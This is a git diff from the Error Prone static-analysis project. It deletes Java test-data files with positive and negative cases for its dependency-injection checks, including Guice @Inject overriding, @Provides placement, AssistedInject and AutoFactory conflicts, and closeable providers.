@javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject, but overrides a method that is - * annotated with @com.google.inject.Inject. Warning is suppressed. - */ - public class TestClass6 extends TestClass1 { - @SuppressWarnings("OverridesGuiceInjectableMethod") - @Override - public void foo() {} - } - - /** Class that extends a class with an injected method, but doesn't override it. */ - public class TestClass7 extends TestClass1 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java deleted file mode 100644 index abb6e8392d8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesGuiceInjectableMethodPositiveCases { - - /** Class with a method foo() annotated with @com.google.inject.Inject. */ - public class TestClass1 { - @com.google.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject, but overrides a method that is - * annotated with @com.google.inject.Inject - */ - public class TestClass2 extends TestClass1 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject, but overrides a method that in - * turn is overrides a method that is annotated with @com.google.inject.Inject - */ - public class TestClass3 extends TestClass2 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @javax.inject.Inject and overrides a - * method that is annotated with @com.google.inject.Inject. This class does not contain an error, - * but it is extended in the next test class. - */ - public class TestClass4 extends TestClass1 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject and overrides a method that is is - * annotated with @javax.inject.Inject. This super method in turn overrides a method that is - * annoatated with @com.google.inject.Inject. - */ - public class TestClass5 extends TestClass4 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** Class that extends a class with an injected method, but doesn't override it. */ - public class TestClass6 extends TestClass1 {} - - /** - * Class that extends a class with an injected method, but it was declared in a supertype that - * isn't a direct supertype. - */ - public class TestClass7 extends TestClass1 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java deleted file mode 100644 index 5be36002b1f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesJavaxInjectableMethodNegativeCases { - /** Class with a method foo() with no annotations. */ - public class TestClass1 { - public void foo() {} - } - - /** Class with a method foo() annotated with @com.google.inject.Inject. */ - public class TestClass2 { - @com.google.inject.Inject - public void foo() {} - } - - /** Class with a method foo() annotated with @javax.inject.Inject. */ - public class TestClass3 { - @javax.inject.Inject - public void foo() {} - } - - /** OK, as it overrides a Guice-Inject method */ - public class TestClass4 extends TestClass2 { - @Override - public void foo() {} - } - - /** gInject <- jInject */ - public class TestClass5 extends TestClass3 { - @com.google.inject.Inject - public void foo() {} - } - - /** jInject <- gInject */ - public class TestClass6 extends TestClass2 { - @javax.inject.Inject - public void foo() {} - } - - /** OK, as 7 <- jInject <- gInject */ - public class TestClass7 extends TestClass6 { - public void foo() {} - } - - /** OK, as 8 <- gInject */ - public class TestClass8 extends TestClass5 { - public void foo() {} - } - - /** Explicitly suppressed warning */ - public class TestClass9 extends TestClass3 { - @Override - @SuppressWarnings("OverridesJavaxInjectableMethod") - public void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java deleted file mode 100644 index 473bf5917c4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesJavaxInjectableMethodPositiveCases { - - /** Class with foo() */ - public class TestClass0 { - public void foo() {} - } - - /** - * Class with a method foo() that is annotated with {@code javax.inject.Inject}. Other test - * classes will extend this class. - */ - public class TestClass1 extends TestClass0 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated, but overrides a method annotated with - * {@code @}javax.inject.Inject. - */ - public class TestClass2 extends TestClass1 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated, but overrides a method that in turn overrides - * a method that is annotated with @javax.inject.Inject. - */ - public class TestClass3 extends TestClass2 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java deleted file mode 100644 index 56dc02e4277..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModuleNegativeCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.gwt.inject.client.AbstractGinModule; -import com.google.gwt.inject.client.GinModule; -import com.google.gwt.inject.client.binder.GinBinder; -import com.google.inject.AbstractModule; -import com.google.inject.Binder; -import com.google.inject.Module; -import com.google.inject.Provides; - -/** Tests for {@code ProvidesMethodOutsideOfModule} */ -public class ProvidesMethodOutsideOfModuleNegativeCases { - - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() {} - - @Provides - int providesFoo() { - return 42; - } - } - - /** implements the Module interface directly */ - class Module2 implements Module { - @Override - public void configure(Binder binder) {} - - @Provides - int providesFoo() { - return 42; - } - } - - /** Regular GinModule */ - class GinModule1 extends AbstractGinModule { - - @Override - protected void configure() {} - - @Provides - int providesFoo() { - return 42; - } - } - - /** Implements the GinModule interface directly */ - class GinModule2 implements GinModule { - @Override - public void configure(GinBinder binder) {} - - @Provides - int providesFoo() { - return 42; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java deleted file mode 100644 index 4fea28de438..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/ProvidesMethodOutsideOfModulePositiveCases.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.AbstractModule; -import com.google.inject.Provides; - -/** Tests for {@code ProvidesMethodOutsideOfModule} */ -public class ProvidesMethodOutsideOfModulePositiveCases { - - /** Random class contains a provides method. */ - public class TestClass1 { - // BUG: Diagnostic contains: remove - @Provides - void providesBlah() {} - } - - /** Module contains an anonymous inner with a Provides method. */ - public class TestModule extends AbstractModule { - @Override - protected void configure() { - Object x = - new Object() { - // BUG: Diagnostic contains: remove - @Provides - void providesBlah() {} - }; - } - } - - /** Class has inner module class */ - public class TestClass2 { - class NestedModule extends AbstractModule { - @Override - protected void configure() {} - - @Provides - int thisIsOk() { - return 42; - } - } - - // BUG: Diagnostic contains: remove - @Provides - int thisIsNotOk() { - return 42; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java deleted file mode 100644 index bbfe6f57973..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsNegativeCases.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnConstructorsNegativeCases { - /** Class has a single constructor with no annotation. */ - public class TestClass1 { - TestClass1() {} - } - - /** Class has a constructor with a @javax.inject.Inject annotation. */ - public class TestClass2 { - @javax.inject.Inject - public TestClass2() {} - } - - /** Class has a constructor with a @com.google.inject.Inject annotation. */ - public class TestClass3 { - @com.google.inject.Inject - public TestClass3() {} - } - - /** Class has a constructor annotated with @AssistedInject */ - public class TestClass4 { - @AssistedInject - public TestClass4() {} - } - - /** Class has a constructor with a @AssistedInject annotation as well as an injectable field */ - public class TestClass5 { - @javax.inject.Inject private int n; - - @AssistedInject - public TestClass5() {} - } - - /** - * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated - * with @AssistedInject. The warning is suppressed. - */ - @SuppressWarnings("AssistedInjectAndInjectOnConstructors") - public class TestClass6 { - @javax.inject.Inject - public TestClass6() {} - - @AssistedInject - public TestClass6(int n) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java deleted file mode 100644 index 72620744f69..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnConstructorsPositiveCases.java +++ /dev/null @@ -1,65 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnConstructorsPositiveCases { - /** - * Class has a constructor annotated with @javax.inject.Inject and another constructor annotated - * with @AssistedInject. - */ - // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors - public class TestClass1 { - @javax.inject.Inject - public TestClass1() {} - - @AssistedInject - public TestClass1(int n) {} - } - - /** - * Class has a constructor annotated with @com.google.inject.Inject and another constructor - * annotated with @AssistedInject. - */ - // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors - public class TestClass2 { - @com.google.inject.Inject - public TestClass2() {} - - @AssistedInject - public TestClass2(int n) {} - } - - /** - * Class has a constructor annotated with @com.google.inject.Inject, another constructor annotated - * with @AssistedInject, and a third constructor with no annotation. - */ - // BUG: Diagnostic contains: AssistedInjectAndInjectOnConstructors - public class TestClass3 { - @com.google.inject.Inject - public TestClass3() {} - - @AssistedInject - public TestClass3(int n) {} - - public TestClass3(String s) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java deleted file mode 100644 index 1e11c58a2de..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorNegativeCases.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnSameConstructorNegativeCases { - /** Class has a single constructor with no annotation. */ - public class TestClass1 { - TestClass1() {} - } - - /** Class has a constructor with a @javax.inject.Inject annotation. */ - public class TestClass2 { - @javax.inject.Inject - public TestClass2() {} - } - - /** Class has a constructor with a @com.google.injectInject annotation. */ - public class TestClass3 { - @com.google.inject.Inject - public TestClass3() {} - } - - /** Class has a constructor annotated with @AssistedInject */ - public class TestClass4 { - @AssistedInject - public TestClass4() {} - } - - /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ - public class TestClass5 { - @javax.inject.Inject - public TestClass5(int n) {} - - @AssistedInject - public TestClass5() {} - } - - /** Class has one constructor with a @AssistedInject and one with @javax.inject.inject . */ - public class TestClass6 { - @com.google.inject.Inject - public TestClass6(int n) {} - - @AssistedInject - public TestClass6() {} - } - - /** - * Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. Error is - * suppressed. - */ - @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") - public class TestClass7 { - @javax.inject.Inject - @AssistedInject - public TestClass7() {} - } - - /** - * Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. Error is - * suppressed. - */ - @SuppressWarnings("AssistedInjectAndInjectOnSameConstructor") - public class TestClass8 { - @com.google.inject.Inject - @AssistedInject - public TestClass8() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java deleted file mode 100644 index fe237aa0dd8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AssistedInjectAndInjectOnSameConstructorPositiveCases.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedInjectAndInjectOnSameConstructorPositiveCases { - /** Class has a constructor annotated with @javax.inject.Inject and @AssistedInject. */ - public class TestClass1 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - // BUG: Diagnostic contains: remove - @AssistedInject - public TestClass1() {} - } - - /** Class has a constructor annotated with @com.google.inject.Inject and @AssistedInject. */ - public class TestClass2 { - // BUG: Diagnostic contains: remove - @com.google.inject.Inject - // BUG: Diagnostic contains: remove - @AssistedInject - public TestClass2() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java deleted file mode 100644 index b48e13db2ca..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectNegativeCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.auto.factory.AutoFactory; -import javax.inject.Inject; - -class AutoFactoryAtInjectNegativeCases { - - @AutoFactory - static class AtInjectOnInnerType { - static class InnerType { - @Inject - InnerType() {} - } - } - - static class AutoFactoryOnInnerType { - @Inject - AutoFactoryOnInnerType() {} - - @AutoFactory - static class InnerType {} - } - - static class OnDifferentConstructors { - @Inject - OnDifferentConstructors(String string) {} - - @AutoFactory - OnDifferentConstructors(Object object) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java deleted file mode 100644 index ee05e8f6e6c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/AutoFactoryAtInjectPositiveCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.auto.factory.AutoFactory; -import javax.inject.Inject; - -class AssistedInjectAndInjectOnSameConstructorPositiveCases { - - @AutoFactory - static class HasAutoFactoryOnClass { - // BUG: Diagnostic contains: remove - @Inject - HasAutoFactoryOnClass() {} - } - - @AutoFactory - static class UsesGuiceInject { - // BUG: Diagnostic contains: remove - @com.google.inject.Inject - UsesGuiceInject() {} - } - - static class HasAutoFactoryOnConstructor { - // BUG: Diagnostic contains: remove - @Inject - @AutoFactory - HasAutoFactoryOnConstructor() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java deleted file mode 100644 index d57077a3535..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesNegativeCases.java +++ /dev/null @@ -1,43 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Provides; -import javax.inject.Singleton; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class CloseableProvidesNegativeCases { - - static class DoesNotImplementsClosable { - public void close() { - // no op - } - } - - @Provides - DoesNotImplementsClosable providesDoesNotImplementsClosable() { - return new DoesNotImplementsClosable(); - } - - @Provides - @Singleton - Object providesObject() { - return new Object(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java deleted file mode 100644 index a0e517d0e41..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/CloseableProvidesPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Provides; -import java.io.Closeable; -import java.io.PrintWriter; -import java.nio.charset.StandardCharsets; -import javax.inject.Singleton; - -/** - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class CloseableProvidesPositiveCases { - - static class ImplementsClosable implements Closeable { - public void close() { - // no op - } - } - - @Provides - // BUG: Diagnostic contains: CloseableProvides - ImplementsClosable providesImplementsClosable() { - return new ImplementsClosable(); - } - - @Provides - @Singleton - // BUG: Diagnostic contains: CloseableProvides - PrintWriter providesPrintWriter() throws Exception { - return new PrintWriter("some_file_path", StandardCharsets.UTF_8.name()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java deleted file mode 100644 index ae8f38595f1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectOnMemberAndConstructorNegativeCases.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * Negative test cases for {@link InjectOnMemberAndConstructor} check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class InjectOnMemberAndConstructorNegativeCases { - - public class InjectOnConstructorOnly { - private final String stringFieldWithoutInject; - - @Inject - public InjectOnConstructorOnly(String stringFieldWithoutInject) { - this.stringFieldWithoutInject = stringFieldWithoutInject; - } - } - - public class InjectOnFieldOnly { - @Inject private String stringFieldWithInject; - } - - public class MixedInject { - @Inject private String stringFieldWithInject; - - @Inject - public MixedInject() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java deleted file mode 100644 index 467689a522f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsNegativeCases.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.BindingAnnotation; -import com.google.inject.Inject; - -/** A negative test case for InjectedConstructorAnnotation. */ -public class InjectedConstructorAnnotationsNegativeCases { - - private @interface TestAnnotation {} - - @BindingAnnotation - private @interface TestBindingAnnotation {} - - /** A class with a constructor that has no annotations. */ - public class TestClass1 { - public TestClass1() {} - } - - /** A class with a constructor that has a binding Annotation. */ - public class TestClass2 { - @TestBindingAnnotation - public TestClass2() {} - } - - /** A class with an injected constructor. */ - public class TestClass3 { - @Inject - public TestClass3() {} - } - - /** A class with an injected constructor that has a non-binding annotation. */ - public class TestClass4 { - @Inject - @TestAnnotation - public TestClass4() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java deleted file mode 100644 index cddb95fb3f4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InjectedConstructorAnnotationsPositiveCases.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.BindingAnnotation; -import com.google.inject.Inject; - -/** A positive test case for InjectedConstructorAnnotation. */ -public class InjectedConstructorAnnotationsPositiveCases { - - /** A binding annotation. */ - @BindingAnnotation - public @interface TestBindingAnnotation { - } - - /** A class with an optionally injected constructor. */ - public class TestClass1 { - // BUG: Diagnostic contains: @Inject public TestClass1 - @Inject(optional = true) public TestClass1() {} - } - - /** A class with an injected constructor that has a binding annotation. */ - public class TestClass2 { - // BUG: Diagnostic contains: @Inject public TestClass2 - @TestBindingAnnotation @Inject public TestClass2() {} - } - - /** A class whose constructor is optionally injected and has a binding annotation. */ - public class TestClass3 { - // BUG: Diagnostic contains: @Inject public TestClass3 - @TestBindingAnnotation @Inject(optional = true) public TestClass3() {} - } -} - diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java deleted file mode 100644 index 597a258313f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationNegativeCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import 